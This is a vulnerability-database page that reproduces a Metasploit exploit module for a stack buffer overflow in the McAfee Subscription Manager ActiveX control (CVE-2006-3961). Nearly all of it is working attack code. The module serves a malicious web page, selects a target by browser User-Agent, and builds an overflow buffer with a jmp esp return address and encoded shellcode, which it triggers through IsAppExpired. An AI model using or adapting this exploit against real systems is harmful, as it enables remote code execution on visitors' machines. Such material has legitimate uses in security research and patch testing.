McAfee Subscription Manager Stack Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

McAfee Subscription Manager Stack Buffer Overflow. Vulnerability in McAfee Subscription Manager ActiveX control allows for stack buffer overflow via unsafe use of vsprintf in COM-exposed routines


                                                ##
# $Id: mcafee_mcsubmgr_vsprintf.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;McAfee Subscription Manager Stack Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a flaw in the McAfee Subscription Manager ActiveX control.
				Due to an unsafe use of vsprintf, it is possible to trigger a stack buffer overflow by
				passing a large string to one of the COM-exposed routines, such as IsAppExpired.
				This vulnerability was discovered by Karl Lynn of eEye.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;skape&#39;,
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9669 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2006-3961&#39;],
					[ &#39;OSVDB&#39;, &#39;27698&#39;],
					[ &#39;BID&#39;, &#39;19265&#39;],
					[ &#39;URL&#39;, &#39;http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html&#39;],
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;          =&#62; 1014,
					&#39;MaxNops&#39;        =&#62; 0,
					&#39;BadChars&#39;       =&#62; &#34;\x00\x09\x0a\x0d&#39;\\&#34; + Rex::Text::UpperAlpha + Rex::Text::HighAscii,
					&#39;EncoderType&#39;    =&#62; Msf::Encoder::Type::NonUpperUtf8Safe,
					&#39;EncoderOptions&#39; =&#62;
						{
							&#39;BufferOffset&#39; =&#62; 0x8
						}
				},
			&#39;Targets&#39;        =&#62;
				[
					# Target 0: Automatic
					[
						&#39;Windows XP SP0/SP1&#39;,
						{
							&#39;Platform&#39; =&#62; &#39;win&#39;,
							&#39;Rets&#39;     =&#62;
								[
									0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp
									#0x773f346a  # XP SP2 comctl32.dll: jmp esp
								]
						},
					],
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Aug 01 2006&#39;))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Pick the right target
		case request[&#39;User-Agent&#39;]
			when /Windows NT 5.1/
				ret = target[&#39;Rets&#39;][0]
			else
				print_error(&#34;Unsupported target: #{request[&#39;User-Agent&#39;]}&#34;)
				cli.send_response(create_response(404, &#39;File not found&#39;))
				return
		end

		# Build out our overflow buffer
		buf =
			rand_text(2972, payload_badchars) +
			[ ret ].pack(&#39;V&#39;) +
			&#34;\x60&#34; + # pusha
			&#34;\x6a&#34; + rand_char + # push byte 0x1
			&#34;\x6a&#34; + rand_char + # push byte 0x1
			&#34;\x6a&#34; + rand_char + # push byte 0x1
			&#34;\x61&#34; + # popa
			p.encoded

		# Generate random variable names
		vname    = rand_text_alpha(rand(100) + 1)
		strname  = rand_text_alpha(rand(100) + 1)

		# Build out the message
		content =
			&#34;&#60;html&#62;&#34; +
			&#34;&#60;object classid=&#39;clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602&#39; id=&#39;#{vname}&#39;&#62;&#60;/object&#62;&#34; +
			&#34;&#60;script language=&#39;javascript&#39;&#62;\n&#34; +
			&#34;var #{vname} = document.getElementById(&#39;#{vname}&#39;);\n&#34; +
			&#34;var #{strname} = new String(&#39;#{buf}&#39;);\n&#34; +
			&#34;#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n&#34; +
			&#34;&#60;/script&#62;&#34; +
			&#34;&#60;/html&#62;&#34;

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1